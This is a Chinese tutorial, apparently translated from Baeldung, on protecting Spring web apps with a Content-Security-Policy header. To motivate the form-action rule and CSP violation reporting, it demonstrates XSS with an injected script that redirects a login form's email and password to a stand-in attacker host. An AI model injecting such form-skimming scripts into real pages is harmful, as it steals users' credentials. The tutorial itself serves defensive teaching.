1、概览 {#1概览}
跨站脚本攻击(Cross-Site Scripting,XSS)一直稳居最常见的 十大网络攻击 之列。XSS 攻击发生在 Web 服务器处理用户恶意输入时,未经验证或编码即在页面上渲染。与 XSS 攻击类似,代码注入和点击劫持通过窃取用户数据和冒充用户身份来对 Web 应用造成严重影响。
本文将会带你了解如何使用 Spring Security 通过内容安全策略(Content-Security-Policy
)保护 Web 应用免受点击劫持、代码注入和 XSS 攻击。
2、Content Security Policy {#2content-security-policy}
内容安全策略(Content Security Policy,简称 CSP)是一种 HTTP 响应头,可大大减少 现代浏览器 中的代码注入攻击,如 XSS、点击劫持 等。
Web 服务器通过 Content-Security-Policy
Header 部指定了浏览器可以渲染的资源的列表。这些资源可以是浏览器渲染的任何内容,例如 CSS、JavaScript、图像等。
该 Header 的语法如下:
Content-Security-Policy: <directive>; <directive>; <directive> ; ...
此外,还可以将此策略设置为 HTML 页面中 <meta>
标签的一部分:
<meta http-equiv="Content-Security-Policy" content="<directive>;<directive>;<directive>; ...">
每个 指令 都包含一个具有多个值的 key
。指令可以不止一个,每个指令之间用分号(;
) 分隔:
Content-Security-Policy: script-src 'self' https://baeldung.com; style-src 'self';
如上例所示,有两个指令(script-src
和 style-src
),而指令 script-src
有两个值(self
和 https://baeldung.com
)。
3、漏洞演示 {#3漏洞演示}
通过示例来说明 XSS 和代码注入漏洞的严重性。
3.1、登录表单 {#31登录表单}
一般来说,在 Web 应用中,会在 Session 超时时将用户重定向到登录页面。
一个标准的登录表单包含用户名/密码字段和一个提交按钮:
<span> Session time out. Please login.</span>
<form id="login" action="/login">
<input type="email" class="form-control" id="email">
<input type="password" class="form-control" id="password">
<button type="submit">Login</button>
</form>
3.2、代码注入 {#32代码注入}
用户可以在通过表单字段注入可疑代码。例如,假设注册表单中有一个接受用户名的文本框。
用户可以输入 <script>alert("this is not expected")</script>
作为用户名,然后提交表单。随后,当渲染显示用户名时,它就会执行脚本(在这种情况下会弹出 alert
对话框)。该脚本甚至可以加载外部脚本,从而造成更严重的危害。
同样地,假设我们有一些缺乏足够验证的表单字段,用户可以再次利用这一点,向 DOM(文档对象模型) 中注入恶意 Javascript 代码:
<span> Session time out. Please login.</span>
<form id="login" action="/login">
<input type="email" class="form-control" id="email">
<input type="password" class="form-control" id="password">
<button type="submit">Login</button>
</form>
<script>
let form= document.forms.login;
form.action="https://youaredoomed.com:9090/collect?u="+document.getElementById('email').value
+"&p="+document.getElementById('password').value;
</script>
当用户点击登录按钮时,注入的 Javascript 代码会将用户重定向到恶意网站。
当不知情的用户提交表单时,他就会被重定向到 https://youaredoomed.com
,并导致他的凭证信息泄露。
- Spring Security {#4-spring-security}
4.1、HTML meta
标签 {#41html-meta-标签}
如果在上一个示例中添加 Content-Security-Policy
Header,就会阻止向恶意服务器提交表单。
使用 <meta>
标签添加该 Header 并进行测试:
<meta http-equiv="Content-Security-Policy" content="form-action 'self';">
添加上述 meta
标签可防止浏览器将表单提交到其他源:
尽管 meta
标签可以减轻 XSS 和代码注入攻击,但它们的功能有限。例如,不能使用 meta
标签报告违反内容安全策略的情况。
因此,可以利用 Spring Security 的强大功能,通过设置 Content-Security-Policy
Header 来降低这些风险。
4.2、依赖 {#42依赖}
首先,在 pom.xml
中添加 Spring Security 和 Spring Web 依赖:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
4.3、配置 {#43配置}
接着,通过创建 SecurityFilterChain
Bean 来定义 Spring Security 配置:
@Configuration
public class ContentSecurityPolicySecurityConfiguration {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.headers()
.xssProtection()
.and()
.contentSecurityPolicy("form-action 'self'");
return http.build();
}
}
如上,声明了 contentSecurityPolicy
,以将表单 Action 限制在页面的同源。
4.4、Content-Security-Policy 响应头 {#44content-security-policy-响应头}
完成了必要的配置后,启动应用。打开浏览器的开发工具(按 F12),点击网络选项卡,然后打开 URL http://localhost:8080
:
现在,填写表单并提交:
有了 Content-Security-Policy
Header,浏览器就能阻止提交请求,降低凭证泄露的风险。
同样,也可以配置 Spring Security 以支持 不同的指令。例如,如下这段代码指定浏览器只加载来自和页面同源的脚本:
.contentSecurityPolicy("script-src 'self'");
指示浏览器只从页面同源和 somecdn.css.com
下载 CSS:
.contentSecurityPolicy("style-src 'self' somecdn.css.com");
还可以在 Content-Security-Policy
Header 中组合任意数量的指令。例如,要限制 CSS、JS 和表单 Acation,可以指定:
.contentSecurityPolicy("style-src 'self' somecdn.css.com; script-src 'self'; form-action 'self'")
4.5、报告 {#45报告}
除了要求浏览器阻止恶意内容外,服务器还可以要求浏览器在阻止内容时发送报告。。
通过 report-uri
指令与其他指令结合起来,让浏览器在内容被阻止时发送 POST。
浏览器会将以下内容 POST 到 report-uri
中定义的 URL:
{
"csp-report": {
"blocked-uri": "",
"document-uri": "",
"original-policy": "",
"referrer": "",
"violated-directive": ""
}
}
因此,我们需要定义一个API来接收浏览器发送的违规报告。
需要注意的是,report-uri
指令已被弃用,取而代之的是 report-to
,但大多数浏览器至今仍 不支持 report-to
。因此,可以同时使用 report-uri
和 report-to
指令。
更新 Spring Security 配置:
String REPORT_TO = "{\"group\":\"csp-violation-report\",\"max_age\":2592000,\"endpoints\":[{\"url\":\"https://localhost:8080/report\"}]}";
http
.csrf().disable()
.authorizeRequests()
.antMatchers("/**").permitAll().and()
.headers().addHeaderWriter(new StaticHeadersWriter("Report-To", REPORT_TO))
.xssProtection()
.and()
.contentSecurityPolicy("form-action 'self'; report-uri /report; report-to csp-violation-report");
首先定义了一个 report-to
组,其中包含 csp-violation-report
,并关联了一个端点。接下来,在 .contentSecurityPolicy
中,将该组作为 report-to
指令的值。
现在,在浏览器中打开该页面时,就会看到包含了该 Header 的响应:
接着,填写表单并点击登录按钮。不出所料,浏览器会阻止请求并发送报告。在服务器控制台上,可以看到类似以下的日志:
Report: {"csp-report":{"blocked-uri":"https://youaredoomed.com:9090/collect?u=jhon.doe@mail.com&p=password","document-uri":"https://localhost:8080/","original-policy":"form-action 'self'; report-uri https://localhost:8080/report","referrer":"","violated-directive":"form-action"}}
下面是格式化 JSON 后的报告:
{
"csp-report": {
"blocked-uri": "https://youaredoomed.com:9090/collect?u=jhon.doe@mail.com&p=password",
"document-uri": "https://localhost:8080/",
"original-policy": "form-action 'self'; report-uri https://localhost:8080/report",
"referrer": "",
"violated-directive": "form-action"
}
}
5、总结 {#5总结}
虽然无法完全防范这些攻击,但内容安全策略(Content-Security-Policy)Header 有助于减轻大部分攻击。值得注意的是,到目前为止,大多数现代浏览器并不完全支持该 Header。因此,在设计和构建应用时必须遵循可靠的安全原则和标准。
参考:https://www.baeldung.com/spring-security-csp